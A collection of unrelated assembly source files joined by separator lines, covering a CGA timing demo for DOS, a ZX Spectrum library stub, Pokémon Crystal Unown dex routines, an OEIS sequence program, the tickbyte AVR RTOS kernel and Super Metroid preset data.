; loop .loopTop2
; rol bx,1
; rol bx,1
; inc dx
; cmp dx,204
; jne .loopTop
; mov ax,cs
; mov ds,ax
jmp doneFrame
restart:
%ifdef bin
mov al,0xfc ; Enable IRQ0 (timer), disable all others
out 0x21,al
mov ax,[cs:phase]
outputHex
mov al,13
outputCharacter
mov al,10
outputCharacter
mov ax,[cs:adjustPeriod]
outputHex
mov al,13
outputCharacter
mov al,10
outputCharacter
mov ax,[cs:refreshPhase]
outputHex
mov al,13
outputCharacter
mov al,10
outputCharacter
mov ax,[cs:cgaCrtcPhase]
outputHex
mov al,13
outputCharacter
mov al,10
outputCharacter
mov al,0xfe ; Enable IRQ0 (timer), disable all others
out 0x21,al
%endif
lockstep 1
; safeRefreshOff
; Mode
; 1 +HRES
; 2 +GRPH
; 4 +BW
; 8 +VIDEO ENABLE
; 0x10 +1BPP
; 0x20 +ENABLE BLINK
mov dx,0x3d8
mov al,0x1a ; 0x1b
out dx,al
; Palette
; 1 +OVERSCAN B
; 2 +OVERSCAN G
; 4 +OVERSCAN R
; 8 +OVERSCAN I
; 0x10 +BACKGROUND I
; 0x20 +COLOR SEL
inc dx
mov al,0x0f
out dx,al
mov dl,0xd4
mov ax,0x3800 ; Horizontal total 0x7100
out dx,ax
mov ax,0x2801 ; Horizontal displayed 0x5001
out dx,ax
mov ax,0x2d02 ; Horizontal sync position 0x5a02
out dx,ax
mov ax,0x0a03 ; Horizontal sync width 0x0f03
out dx,ax
mov ax,0x3f04 ; Vertical total
out dx,ax
mov ax,0x0005 ; Vertical total adjust
out dx,ax
mov ax,0x0206 ; Vertical displayed
out dx,ax
mov ax,0x1707 ; Vertical sync position
out dx,ax
mov ax,0x0008 ; Interlace mode
out dx,ax
mov ax,0x0009 ; Maximum scanline address
out dx,ax
mov ax,0x060a
out dx,ax
mov ax,0x070b
out dx,ax
mov ax,0x000c
out dx,ax
inc ax
out dx,ax
mov ax,0x3f0e
out dx,ax
mov ax,0xff0f
out dx,ax
mov dl,0xda
waitForNoVerticalSync
waitForVerticalSync
; waitForDisplayEnable
mov ax,0x0304
mov dl,0xd4
out dx,ax
writePIT16 0, 2, 2 ; Ensure IRQ0 pending
xor ax,ax
mov ds,ax
mov word[0x20],interrupt8h0
mov [0x22],cs
; mov dl,0xd9
; mov al,0x0e
; out dx,al
mov dl,0xda
waitForDisplayDisable
waitForDisplayEnable
; mov dl,0xd9
; mov al,0x0d
; out dx,al
cmp byte[cs:cgaCrtcPhase],1
jne noSwitchPhase
mov dl,0xd4
mov ax,0x3900 ;0x7200
out dx,ax
mov dl,0xda
waitForDisplayDisable
waitForDisplayEnable
mov dl,0xd4
mov ax,0x3800 ;0x7100
out dx,ax
mov dl,0xda
waitForDisplayDisable
waitForDisplayEnable
noSwitchPhase:
; mov dl,0xd9
; mov al,0x0c
; out dx,al
waitForDisplayDisable
waitForDisplayEnable
; mov dl,0xd9
; mov al,1
; out dx,al
writePIT16 0, 2, 31
sti
hlt
interrupt8h0:
; mov al,2
; out dx,al
mov al,75 ; Now counting down from 31
out 0x40,al
mov al,0
out 0x40,al
mov word[0x20],interrupt8h1
mov al,0x20
out 0x20,al
sti
hlt
interrupt8h1:
; mov al,3
; out dx,al
; inc dx
in al,dx ; Now counting down from 75
test al,1
jz .noInterruptChange ; jump if +DISPEN, finish if -DISPEN
mov word[0x20],interrupt8h2
.noInterruptChange:
mov al,0x20
out 0x20,al
mov sp,stackTop
sti
hlt
interrupt8h2:
; dec dx
; mov al,4
; out dx,al
mov ax,[cs:refreshPhase] ; We're still counting down from 75
out 0x40,al
mov al,ah
out 0x40,al
mov word[0x20],interrupt8h3
mov al,0x20
out 0x20,al
mov sp,stackTop
sti
hlt
interrupt8h3:
; mov al,5
; out dx,al
mov word[0x20],interrupt8h4 ; We're still counting down from refreshPhase
mov al,0x20
out 0x20,al
mov sp,stackTop
sti
hlt
interrupt8h4:
; mov al,6
; out dx,al
refreshOn 19 ; refreshPhase has happened, restart refresh
mov al,0x20
out 0x20,al
mov sp,stackTop
mov dl,0xd4
mov ax,0x7f04
out dx,ax
mov dl,0xda
waitForNoVerticalSync
waitForVerticalSync
waitForDisplayEnable
writePIT16 0, 2, 76*64 - 1 ; Start counting down after display enable starts
mov word[0x20],interrupt8a
sti
hlt
interrupt8a:
; dec dx
; mov al,7
; out dx,al
; inc dx
in al,dx
test al,1
jz .noInterruptChange ; jump if +DISPEN, finish if -DISPEN
mov word[0x20],interrupt8b
.noInterruptChange:
mov al,0x20
out 0x20,al
mov sp,stackTop
sti
hlt
interrupt8b:
; dec dx
; mov al,8
; out dx,al
mov ax,[cs:adjustPeriod] ; We're still counting down from 76*64 - 1
out 0x40,al
mov al,ah
out 0x40,al
mov word[0x20],interrupt8c
mov al,0x20
out 0x20,al
mov sp,stackTop
sti
hlt
interrupt8c:
; mov al,9
; out dx,al
mov ax,(76*262) & 0xff ; We're still counting down from adjustPeriod
out 0x40,al
mov al,(76*262) >> 8
out 0x40,al
cmp byte[cs:stableImage],0
je .notStableImage
mov word[0x20],interrupt8stable
jmp .doneImageSelect
.notStableImage:
mov word[0x20],interrupt8
.doneImageSelect:
mov al,0x20
out 0x20,al
mov sp,stackTop
sti
hlt
interrupt8:
mov ax,cs
mov ds,ax
mov ss,ax
; mov dx,0x3d9
; mov al,10
; out dx,al
mov sp,startAddresses+1*2
mov dx,0x3d4
mov bp,0x2801 ;0x5001 (left horizontal displayed = 40)
mov di,0x0c00 ;0x1900 (right horizontal total = 13)
mov ax,0x2b02 ;0x5702 (left horizontal sync position = 43)
mov si,sampleData
mov bx,rasterData-sampleData
mov es,ax
; Scanlines -1..198
%macro scanline 1
mov al,0x00
out dx,ax ; e Horizontal Total left 0x2b00 44 0x5700 88
mov ax,0x0102 ;0x0202
out dx,ax ; f Horizontal Sync Position right 0x0102 1 0x0202 2
pop cx
mov al,0x0c
mov ah,ch
out dx,ax
inc ax
mov ah,cl
out dx,ax
lodsb
out 0xe0,al
%if %1 == -1
mov ax,0x0104
out dx,ax ; Vertical Total
times 3 nop
%elif %1 == 199
mov ax,0x3e04
out dx,ax ; Vertical Total 0x3f04 64 (1 for scanlines -1 and 198, 62 for scanlines 199-260)
times 3 nop
%else
mov al,[bx+si]
mov dl,0xd9
out dx,al
mov dl,0xd4
%endif
mov ax,0x0101
out dx,ax ; b Horizontal Displayed right 0x0101 1 0x0101 1
xchg ax,di
out dx,ax ; a Horizontal Total right 0x0c00 13 0x1900 26
xchg ax,di
xchg ax,bp
out dx,ax ; d Horizontal Displayed left 0x2801 40 0x5001 80
xchg ax,bp
mov ax,es
out dx,ax ; c Horizontal Sync Position left 0x2b02 43 0x5702 87
%endmacro
%assign i -1
%rep 201
scanline i
%assign i i+1
%endrep
; Scanline 199
mov ax,0x3800 ;0x7100
out dx,ax ; e Horizontal Total left 0x3800 57 0x7100 114
mov ax,0x2d02 ;0x5a02
out dx,ax ; f Horizontal Sync Position right 0x2d02 45 0x5a02 90
; mov ax,0x000c
; out dx,ax
; mov ax,0x140d
; out dx,ax
mov sp,stackTop
; TODO: We are now free to do per-frame vertical-overscan stuff
; with no special timing requirements except:
; HLT before overscan is over
; Sound (if in use)
; mov dl,0xd9
; mov al,1
; out dx,al
mov bp,cs
mov es,bp
mov di,startAddresses
xor ax,ax
mov ds,ax
mov word[0x20],interrupt8_1
; mov ax,(76*263) & 0xff ; We're still counting down from adjustPeriod
; out 0x40,al
; mov al,(76*263) >> 8
; out 0x40,al
mov ax,(76*224) & 0xff ; We're still counting down from adjustPeriod
out 0x40,al
mov al,(76*224) >> 8
out 0x40,al
mov ax,cs
mov ds,ax
endOfFrame:
mov al,0x20
out 0x20,al
inc word[frameCount]
jnz noFrameCountCarry
inc word[frameCount+2]
noFrameCountCarry:
call doKeyboard
mov sp,stackTop
sti
hlt
interrupt8_1:
mov ax,cs
mov ds,ax
mov ss,ax
mov sp,startAddresses+203*2
mov dx,0x3d4
mov bp,0x2801 ;0x5001 (left horizontal displayed = 40)
mov di,0x0c00 ;0x1900 (right horizontal total = 13)
mov ax,0x2b02 ;0x5702 (left horizontal sync position = 43)
mov si,sampleData
mov bx,rasterData-sampleData
mov es,ax
; Scanlines -1..198
%macro scanline1 1
mov al,0x00
out dx,ax ; e Horizontal Total left 0x2b00 44 0x5700 88
mov ax,0x0102 ;0x0202
out dx,ax ; f Horizontal Sync Position right 0x0102 1 0x0202 2
pop cx
mov al,0x0c
mov ah,ch
out dx,ax
inc ax
mov ah,cl
out dx,ax
lodsb
out 0xe0,al
%if %1 == -1
mov ax,0x0004
out dx,ax ; Vertical Total
mov ax,0x0109
out dx,ax
; times 3 nop
%elif %1 == 200
mov ax,0x3e04
out dx,ax ; Vertical Total 0x3f04 64 (1 for scanlines -1 and 198, 62 for scanlines 199-260)
; times 3 nop
mov ax,0x0009
out dx,ax
%else
mov al,[bx+si]
mov dl,0xd9
out dx,al
mov dl,0xd4
%endif
mov ax,0x0101
out dx,ax ; b Horizontal Displayed right 0x0101 1 0x0101 1
xchg ax,di
out dx,ax ; a Horizontal Total right 0x0c00 13 0x1900 26
xchg ax,di
xchg ax,bp
out dx,ax ; d Horizontal Displayed left 0x2801 40 0x5001 80
xchg ax,bp
mov ax,es
out dx,ax ; c Horizontal Sync Position left 0x2b02 43 0x5702 87
%endmacro
%assign i -1
%rep 202
scanline1 i
%assign i i+1
%endrep
; Scanline 199
; times 10 nop
mov ax,0x3800 ;0x7100
out dx,ax ; e Horizontal Total left 0x3800 57 0x7100 114
mov ax,0x2d02 ;0x5a02
out dx,ax ; f Horizontal Sync Position right 0x2d02 45 0x5a02 90
; mov ax,0x000c
; out dx,ax
; mov ax,0x140d
; out dx,ax
mov sp,stackTop
; TODO: We are now free to do per-frame vertical-overscan stuff
; with no special timing requirements except:
; HLT before overscan is over
; Sound (if in use)
; mov dl,0xd9
; mov al,1
; out dx,al
mov bp,cs
mov es,bp
mov di,startAddresses
mov al,0x20
out 0x20,al
inc word[frameCount]
jnz noFrameCountCarry1
inc word[frameCount+2]
noFrameCountCarry1:
call doKeyboard
xor ax,ax
mov ds,ax
; mov word[0x20],interrupt8
; mov ax,(76*262) & 0xff
; out 0x40,al
; mov al,(76*262) >> 8
; out 0x40,al
mov word[0x20],int8_isav1
mov ax,(76) & 0xff
out 0x40,al
mov al,(76) >> 8
out 0x40,al
; mov ax,cs
; mov ds,ax
mov sp,stackTop
sti
hlt
; Final 1 - scanline 225
int8_isav1:
isav1_patch:
mov ax,0x1102 ; Horizontal sync position early
out dx,ax
mov word[0x20],int8_isav2
mov al,0x20
out 0x20,al
sti
hlt
; Final 2 - scanline 226
int8_isav2:
isav2_patch:
mov ax,0x2d02 ; Horizontal sync position normal
out dx,ax
mov word[0x20],int8_isav3
mov al,0x20
out 0x20,al
sti
hlt
; Final 3 - scanline 227
int8_isav3:
mov word[0x20],int8_isav4
mov al,0x20
out 0x20,al
sti
hlt
; Final 4 - scanline 228
int8_isav4:
isav4_patch:
mov ax,0x1102 ; Horizontal sync position early
out dx,ax
mov al,(35*76) & 0xff
out 0x40,al
mov al,(35*76) >> 8
out 0x40,al
mov word[0x20],int8_isav5
mov al,0x20
out 0x20,al
sti
hlt
; Final 5 - scanline 229
int8_isav5:
isav5_patch:
mov ax,0x2d02 ; Horizontal sync position normal
out dx,ax
mov al,(262*76) & 0xff
out 0x40,al
mov al,(262*76) >> 8
out 0x40,al
mov word[0x20],interrupt8
mov al,0x20
out 0x20,al
sti
hlt
interrupt8stable:
initCGA 0x0a
mov dl,0xd9
%rep 3800
out dx,al
inc ax
%endrep
interrupt8numbers:
mov ax,cs
mov ds,ax
jmp endOfFrame
doKeyboard:
in al,0x60
xchg ax,bx
; Acknowledge the previous byte
port61high:
mov al,0xcf
out 0x61,al
port61low:
mov al,0x4f
out 0x61,al
cmp bl,0x4b ; left
je moveLeft
cmp bl,0x4d ; right
je moveRight
cmp bl,0x48 ; up
je moveUp
cmp bl,0x50 ; down
je moveDown
cmp bl,0x4a ; keypad-
je decreaseRefreshPhase
cmp bl,0x2c ; z
je decreaseRefreshPhase
cmp bl,0x4e ; keypad+
je increaseRefreshPhase
cmp bl,0x2d ; x
je increaseRefreshPhase
cmp bl,0x39 ; space
je switchCgaCrtcPhase
cmp bl,0x1f ; s
je switchImage
cmp bl,0x31 ; n
je toggleNumbersScreen
cmp bl,1 ; esc
je tearDown2
ret
tearDown2:
jmp tearDown
moveLeft:
dec word[adjustPeriod]
jmp doneFrame
moveRight:
inc word[adjustPeriod]
jmp doneFrame
moveUp:
sub word[adjustPeriod],76
jmp doneFrame
moveDown:
add word[adjustPeriod],76
jmp doneFrame
decreaseRefreshPhase:
dec word[refreshPhase]
cmp word[refreshPhase],64-1
jne .done
mov word[refreshPhase],64+18
.done:
jmp doneFrame
increaseRefreshPhase:
inc word[refreshPhase]
cmp word[refreshPhase],64+19
jne .done
mov word[refreshPhase],64+0
.done:
jmp doneFrame
switchCgaCrtcPhase:
xor byte[cgaCrtcPhase],1
jmp doneFrame
switchImage:
xor byte[stableImage],1
cmp byte[numbersMode],0
jne .noCopyImageData
call copyImageData
.noCopyImageData:
jmp doneFrame
toggleNumbersScreen:
xor byte[numbersMode],1
cmp byte[numbersMode],0
je leavingNumbersMode
initCGA 9
call copyImageData
jmp doneFrame
leavingNumbersMode:
call copyImageData
doneFrame:
mov ax,0xb000
call printNumbers
cmp byte[numbersMode],0
jne doNumbersMode
; Not numbers mode, update numbers on MDA only
jmp restart
doNumbersMode:
mov ax,0xb800
call printNumbers
xor ax,ax
mov ds,ax
mov word[0x20],interrupt8numbers
ret
tearDown:
mov al,TIMER1 | LSB | MODE2 | BINARY
out 0x43,al
mov al,18
out 0x41,al ; Timer 1 rate
xor ax,ax
mov ds,ax
mov ax,[cs:oldInterrupt8]
mov [0x20],ax
mov ax,[cs:oldInterrupt8+2]
mov [0x22],ax
in al,0x61
and al,0xfc
out 0x61,al
mov ax,cs
mov ds,ax
mov al,[imr]
out 0x21,al
writePIT16 0, 2, 0
mov ax,3
int 0x10
sti
mov ax,cs
mov ds,ax
mov al,[phase]
outputCharacter
mov ax,19912
mul word[frameCount]
mov cx,dx
mov ax,19912
mul word[frameCount+2]
add ax,cx
adc dx,0
mov cx,0x40
mov ds,cx
add [0x6c],ax
adc [0x6e],dx
dateLoop:
cmp word[0x6c],0x18
jb doneDateLoop
cmp word[0x6e],0xb0
jb doneDateLoop
mov byte[0x70],1
sub word[0x6c],0xb0
sbb word[0x6e],0x18
jmp dateLoop
doneDateLoop:
exit:
mov ax,0x4c00
int 0x21
copyImageData:
mov ax,0xb800
mov es,ax
mov ax,cs
mov ds,ax
xor di,di
cld
cmp byte[stableImage],0
jne clearVRAM
cmp byte[numbersMode],0
jne clearVRAM
mov si,vramData
mov cx,4096+4080
rep movsw
ret
clearVRAM:
xor ax,ax
mov cx,8192
rep stosw
ret
printNybble:
and al,0xf
cmp al,10
jge .letters
add al,'0'
jmp printCharacter
.letters:
add al,'A'-10
printCharacter:
mov ah,7
stosw
ret
printHex:
push ax
mov al,ah
mov cl,4
shr al,cl
call printNybble
pop ax
push ax
mov al,ah
call printNybble
pop ax
push ax
mov cl,4
shr al,cl
call printNybble
pop ax
call printNybble
ret
printNumbers:
mov es,ax
xor di,di
mov ax,[phase]
call printNybble
mov di,160
mov ax,[adjustPeriod]
call printHex
mov di,320
mov ax,[refreshPhase]
call printHex
mov di,480
mov ax,[cgaCrtcPhase]
call printNybble
ret
dummyInterrupt8:
push ax
mov al,0x20
out 0x20,al
pop ax
iret
doPrintCharacter:
push ax
push bx
push cx
push dx
push si
push di
push bp
mov dl,al
mov ah,2
int 0x21
pop bp
pop di
pop si
pop dx
pop cx
pop bx
pop ax
ret
%rep 50
dw -1
%endrep
lineTable:
%assign i 0
%rep 100
dw i*80 -1
%assign i i+1
%endrep
%rep 50
dw 99*80-1
%endrep
frameCount: dw 0, 0
oldInterrupt8: dw 0, 0
imr: db 0
phase: dw 0
adjustPeriod: dw 0x1429
refreshPhase: dw 0x0045
cgaCrtcPhase: dw 0
numbersMode: dw 0
stableImage: dw 0
startAddresses:
times 405 dw 0
rasterData:
times 405 db 0x0f
sampleData:
times 405 db 200
data2:
times 5 dw 0
vramData:
incbin "..\..\..\..\Pictures\reenigne\cga2ntsc\mandala-4241838_203_out.dat"
;segment stack stack
times 128 dw 0
stackTop:
;0 is default
;
; 0- 1 broken sync
; 2- 4 ok (even lines = bank 0)
; 5-11 broken sync
;12-14 broken stability
;15-17 hardly anything, unstable
;18-20 broken sync
;21-25 hardly anything, unstable
;26-33 broken sync
;34-36 ok (even lines = bank 0)
;37-39 advance 1 character per scanline
;40-42 ok (even lines = bank 0)
;43-52 broken sync
;53-55 hardly anything, unstable
;56-56 broken sync
;57-61 hardly anything, unstable
;62-68 broken sync
;69-71 1 column, broken sync
;72-72 ok (even lines = bank 0)
;73-74 hardly anything, unstable
;75-
;142c odd lines
|
; void *zx_saddrpright(void *saddr, uint bitmask)
SECTION code_arch
PUBLIC zx_saddrpright_callee
zx_saddrpright_callee:
pop hl
pop de
ex (sp),hl
INCLUDE "arch/zx/display/z80/asm_zx_saddrpright.asm"
|
UpdateUnownDex:
ld a, [wUnownLetter]
ld c, a
ld b, NUM_UNOWN
ld hl, wUnownDex
.loop
ld a, [hli]
and a
jr z, .done
cp c
ret z
dec b
jr nz, .loop
ret
.done
dec hl
ld [hl], c
ret
PrintUnownWord:
hlcoord 4, 15
ld bc, 12
ld a, " "
call ByteFill
ld a, [wDexCurUnownIndex]
ld e, a
ld d, 0
ld hl, wUnownDex
add hl, de
ld a, [hl]
ld e, a
ld d, 0
ld hl, UnownWords
add hl, de
add hl, de
ld a, [hli]
ld e, a
ld d, [hl]
hlcoord 4, 15
.loop
ld a, [de]
cp -1
ret z
inc de
ld [hli], a
jr .loop
INCLUDE "data/pokemon/unown_words.asm"
|
; A242658: a(n) = 3n^2-3n+2.
; 2,2,8,20,38,62,92,128,170,218,272,332,398,470,548,632,722,818,920,1028,1142,1262,1388,1520,1658,1802,1952,2108,2270,2438,2612,2792,2978,3170,3368,3572,3782,3998,4220,4448,4682,4922,5168,5420,5678,5942,6212,6488,6770,7058,7352,7652,7958,8270,8588,8912,9242,9578,9920,10268,10622,10982,11348,11720,12098,12482,12872,13268,13670,14078,14492,14912,15338,15770,16208,16652,17102,17558,18020,18488,18962,19442,19928,20420,20918,21422,21932,22448,22970,23498,24032,24572,25118,25670,26228,26792,27362,27938,28520,29108,29702,30302,30908,31520,32138,32762,33392,34028,34670,35318,35972,36632,37298,37970,38648,39332,40022,40718,41420,42128,42842,43562,44288,45020,45758,46502,47252,48008,48770,49538,50312,51092,51878,52670,53468,54272,55082,55898,56720,57548,58382,59222,60068,60920,61778,62642,63512,64388,65270,66158,67052,67952,68858,69770,70688,71612,72542,73478,74420,75368,76322,77282,78248,79220,80198,81182,82172,83168,84170,85178,86192,87212,88238,89270,90308,91352,92402,93458,94520,95588,96662,97742,98828,99920,101018,102122,103232,104348,105470,106598,107732,108872,110018,111170,112328,113492,114662,115838,117020,118208,119402,120602,121808,123020,124238,125462,126692,127928,129170,130418,131672,132932,134198,135470,136748,138032,139322,140618,141920,143228,144542,145862,147188,148520,149858,151202,152552,153908,155270,156638,158012,159392,160778,162170,163568,164972,166382,167798,169220,170648,172082,173522,174968,176420,177878,179342,180812,182288,183770,185258
bin $0,2
mov $1,$0
mul $1,6
add $1,2
|
;******************************************************************************
;*
;* tickbyte kernel containing
;* - Initialization
;* - Task switcher
;*
;******************************************************************************
.include "tickbytedef.inc"
.include "projectdef.inc"
.cseg
;******************************************************************************
;*
;* tickbyte AVR interrupt vectors
;*
;******************************************************************************
;******************************************************************************
; Interrupt vectors
;******************************************************************************
.org 0X0000
rjmp RESET ;the reset vector: jump to "RESET"
#if !defined(USE_ACCURATE_TICK)
.org OVF0addr
rjmp TICK_ISR ;timer 0 overflow interrupt vector
#else
.org OC0Aaddr
rjmp TICK_ISR ;timer 0 output compare match A interrupt vector
#endif ; USE_ACCURATE_TICK
;******************************************************************************
;*
;* tickbyte AVR main
;*
;******************************************************************************
;******************************************************************************
; MAIN
;******************************************************************************
RESET:
#if !defined(USE_ACCURATE_TICK)
;Setup timer 0
ldi XH, 1<<CS00 ;Clock source = system clock, no prescaler
out TCCR0B, XH
ldi XH, 1<<TOIE0 ;Enable timer 0 overflow interrupt
out TIMSK0, XH
#else
;Setup timer 0
;Load high byte
ldi XH, CmpMatchH
out OCR0AH, XH
;Load low byte
ldi XL, CmpMatchL
out OCR0AL, XL
ldi XH, (1<<CS00)|(1<<WGM02) ;Clock source = system clock, no prescaler
out TCCR0B, XH
ldi XH, 1<<OCIE0A ;Enable output compare A match interrupt
out TIMSK0, XH
#endif ; USE_ACCURATE_TICK
;Setup sleep mode
;For now we'll use the default idle sleep mode, no need to set SMCR
;ldi XH, 0x00
;out SMCR, XH
;Initialize stack pointer
ldi XL, RAMEND - 6
out SPL, XL
;Initialize program counter of task 1
ldi XL, LOW( TASK1 )
sts T1ContAdrL, XL
ldi XH, HIGH( TASK1 )
sts T1ContAdrH, XH
;Initialize program counter of task 2
ldi XL, LOW( TASK2 )
sts T2ContAdrL, XL
ldi XH, HIGH( TASK2 )
sts T2ContAdrH, XH
;Initialize program counter of task 3
ldi XL, LOW( TASK3 )
sts T3ContAdrL, XL
ldi XH, HIGH( TASK3 )
sts T3ContAdrH, XH
;Idle task currently running
ldi CurTask, Idlcurrent
; If USE_SLEEP_IDLE and USE_TASK_YIELD are both disabled, task blocking can't
; occur unless AVR sleep mode is enabled
#if (defined(USE_SLEEP_IDLE) || (!defined(USE_SLEEP_IDLE) && !defined(USE_TASK_YIELD)))
;Enable sleep mode
ldi XH, 1<<SE
out SMCR, XH ;Write SE bit in SMCR to logic one
#endif
;Initialize tasks
INIT_TASKS
;Enable interrupts
sei
IDLE:
;Reset watchdog timer
;wdr
#if defined(USE_SLEEP_IDLE)
sleep
#endif ; USE_SLEEP_IDLE
rjmp IDLE
;******************************************************************************
;*
;* tickbyte AVR task switcher
;*
;******************************************************************************
;******************************************************************************
; Task yield. Called from a task to force context switch
;******************************************************************************
#if defined(USE_TASK_YIELD)
TASK_YIELD:
sbr CurTask, (1 << Nottickbit)
;rjmp TICK_ISR
#endif ; USE_TASK_YIELD
;******************************************************************************
; RTOS tick interrupt
;******************************************************************************
TICK_ISR: ;ISR_TOV0
SAVE_CONTEXT:
pop XH
pop XL
;Save context of task currently running: Check which task is running
sbrc CurTask, Idlebit
rjmp DEC_COUNTERS
sbrc CurTask, T1readybit
rjmp SAVECONT1
sbrc CurTask, T2readybit
rjmp SAVECONT2
SAVECONT3:
;Save context of task 3
sts T3ContAdrH, XH
sts T3ContAdrL, XL
rjmp DEC_COUNTERS
SAVECONT2:
;Save context of task 2
sts T2ContAdrH, XH
sts T2ContAdrL, XL
rjmp DEC_COUNTERS
SAVECONT1:
;Save context of task 1
sts T1ContAdrH, XH
sts T1ContAdrL, XL
;rjmp DEC_COUNTERS
DEC_COUNTERS:
;Decrement counters
#if defined (USE_TASK_YIELD)
sbrc CurTask, Nottickbit ;Don't decrement counters on task yield
rjmp REST_CONTEXT
#endif ; USE_TASK_YIELD
T1_DEC:
;Decrement counter 1
cpi T1_count, 0
breq T2_DEC
dec T1_count
T2_DEC:
;Decrement counter 2
cpi T2_count, 0
breq T3_DEC
dec T2_count
T3_DEC:
;Decrement counter 3
cpi T3_count, 0
breq REST_CONTEXT
dec T3_count
;rjmp REST_CONTEXT
REST_CONTEXT:
;Check which task to run next, restore context
;Task switcher based on the model of:
; - Task 3 highest priority
; - Task 2 medium priority
; - Task 1 lowest priority
;If Ready to run register = 0 (No tasks ready to run, therefore run idle task)
cpi T3_count, 0
breq RUN_TASK3
cpi T2_count, 0
breq RUN_TASK2
cpi T1_count, 0
breq RUN_TASK1
RUN_IDLE:
;Idle task running
ldi CurTask, Idlcurrent
ldi XL, LOW( IDLE )
ldi XH, HIGH( IDLE )
rjmp PUSH_RETI
RUN_TASK3:
;Task1 running
ldi CurTask, T3current
lds XL, T3ContAdrL
lds XH, T3ContAdrH
rjmp PUSH_RETI
RUN_TASK2:
;Task1 running
ldi CurTask, T2current
lds XL, T2ContAdrL
lds XH, T2ContAdrH
rjmp PUSH_RETI
RUN_TASK1:
;Task1 running
ldi CurTask, T1current
lds XL, T1ContAdrL
lds XH, T1ContAdrH
;rjmp PUSH_RETI
PUSH_RETI:
push XL
push XH
reti
;***EOF
|
preset_rbo_bombs_parlor_down:
dw #$0000
dl $7E078B : db $02 : dw $0000 ; Elevator Index
dl $7E078D : db $02 : dw $88FE ; DDB
dl $7E078F : db $02 : dw $0000 ; DoorOut Index
dl $7E079B : db $02 : dw $91F8 ; MDB
dl $7E079F : db $02 : dw $0000 ; Region
dl $7E07C3 : db $02 : dw $C629 ; GFX Pointers
dl $7E07C5 : db $02 : dw $7CBA ; GFX Pointers
dl $7E07C7 : db $02 : dw $C2AD ; GFX Pointers
dl $7E07F3 : db $02 : dw $0006 ; Music Bank
dl $7E07F5 : db $02 : dw $0005 ; Music Track
dl $7E090F : db $02 : dw $F000 ; Screen subpixel X position.
dl $7E0911 : db $02 : dw $0000 ; Screen X position in pixels
dl $7E0913 : db $02 : dw $1400 ; Screen subpixel Y position
dl $7E0915 : db $02 : dw $0400 ; Screen Y position in pixels
dl $7E093F : db $02 : dw $0000 ; Ceres escape flag
dl $7E09A2 : db $02 : dw $0000 ; Equipped Items
dl $7E09A4 : db $02 : dw $0000 ; Collected Items
dl $7E09A6 : db $02 : dw $0000 ; Beams
dl $7E09A8 : db $02 : dw $0000 ; Beams
dl $7E09C0 : db $02 : dw $0000 ; Manual/Auto reserve tank
dl $7E09C2 : db $02 : dw $0063 ; Health
dl $7E09C4 : db $02 : dw $0063 ; Max health
dl $7E09C6 : db $02 : dw $0000 ; Missiles
dl $7E09C8 : db $02 : dw $0000 ; Max missiles
dl $7E09CA : db $02 : dw $0000 ; Supers
dl $7E09CC : db $02 : dw $0000 ; Max supers
dl $7E09CE : db $02 : dw $0000 ; Pbs
dl $7E09D0 : db $02 : dw $0000 ; Max pbs
dl $7E09D4 : db $02 : dw $0000 ; Max reserves
dl $7E09D6 : db $02 : dw $0000 ; Reserves
dl $7E0A1C : db $02 : dw $000C ; Samus position/state
dl $7E0A1E : db $02 : dw $0104 ; More position/state
dl $7E0A68 : db $02 : dw $0000 ; Flash suit
dl $7E0A76 : db $02 : dw $0000 ; Hyper beam
dl $7E0AF6 : db $02 : dw $0033 ; Samus X
dl $7E0AFA : db $02 : dw $048B ; Samus Y
dl $7E0B3F : db $02 : dw $0000 ; Blue suit
dl $7ED7C0 : db $02 : dw $0000 ; SRAM copy
dl $7ED7C2 : db $02 : dw $0000 ; SRAM copy
dl $7ED7C4 : db $02 : dw $0000 ; SRAM copy
dl $7ED7C6 : db $02 : dw $0000 ; SRAM copy
dl $7ED7C8 : db $02 : dw $0800 ; SRAM copy
dl $7ED7CA : db $02 : dw $0400 ; SRAM copy
dl $7ED7CC : db $02 : dw $0200 ; SRAM copy
dl $7ED7CE : db $02 : dw $0100 ; SRAM copy
dl $7ED7D0 : db $02 : dw $4000 ; SRAM copy
dl $7ED7D2 : db $02 : dw $8000 ; SRAM copy
dl $7ED7D4 : db $02 : dw $0080 ; SRAM copy
dl $7ED7D6 : db $02 : dw $2000 ; SRAM copy
dl $7ED7D8 : db $02 : dw $0040 ; SRAM copy
dl $7ED7DA : db $02 : dw $0020 ; SRAM copy
dl $7ED7DC : db $02 : dw $0010 ; SRAM copy
dl $7ED7DE : db $02 : dw $0000 ; SRAM copy
dl $7ED7E0 : db $02 : dw $0063 ; SRAM copy
dl $7ED7E2 : db $02 : dw $0063 ; SRAM copy
dl $7ED7E4 : db $02 : dw $0000 ; SRAM copy
dl $7ED7E6 : db $02 : dw $0000 ; SRAM copy
dl $7ED7E8 : db $02 : dw $0000 ; SRAM copy
dl $7ED7EA : db $02 : dw $0000 ; SRAM copy
dl $7ED7EC : db $02 : dw $0000 ; SRAM copy
dl $7ED7EE : db $02 : dw $0000 ; SRAM copy
dl $7ED7F0 : db $02 : dw $0000 ; SRAM copy
dl $7ED7F2 : db $02 : dw $0000 ; SRAM copy
dl $7ED7F4 : db $02 : dw $0000 ; SRAM copy
dl $7ED7F6 : db $02 : dw $0000 ; SRAM copy
dl $7ED7F8 : db $02 : dw $002A ; SRAM copy
dl $7ED7FA : db $02 : dw $0007 ; SRAM copy
dl $7ED7FC : db $02 : dw $0001 ; SRAM copy
dl $7ED7FE : db $02 : dw $0000 ; SRAM copy
dl $7ED800 : db $02 : dw $0000 ; SRAM copy
dl $7ED802 : db $02 : dw $0001 ; SRAM copy
dl $7ED804 : db $02 : dw $0001 ; SRAM copy
dl $7ED806 : db $02 : dw $0001 ; SRAM copy
dl $7ED808 : db $02 : dw $0000 ; SRAM copy
dl $7ED80A : db $02 : dw $0000 ; SRAM copy
dl $7ED80C : db $02 : dw $0000 ; SRAM copy
dl $7ED80E : db $02 : dw $0000 ; SRAM copy
dl $7ED810 : db $02 : dw $0000 ; SRAM copy
dl $7ED812 : db $02 : dw $0000 ; SRAM copy
dl $7ED814 : db $02 : dw $0000 ; SRAM copy
dl $7ED816 : db $02 : dw $0000 ; SRAM copy
dl $7ED818 : db $02 : dw $0000 ; SRAM copy
dl $7ED81A : db $02 : dw $0000 ; SRAM copy
dl $7ED81C : db $02 : dw $0000 ; SRAM copy
dl $7ED81E : db $02 : dw $0000 ; SRAM copy
dl $7ED820 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED822 : db $02 : dw $0000 ; Events, Items, Doors
dl $7ED824 : db $02 : dw $0000 ; Events, Items, Doors
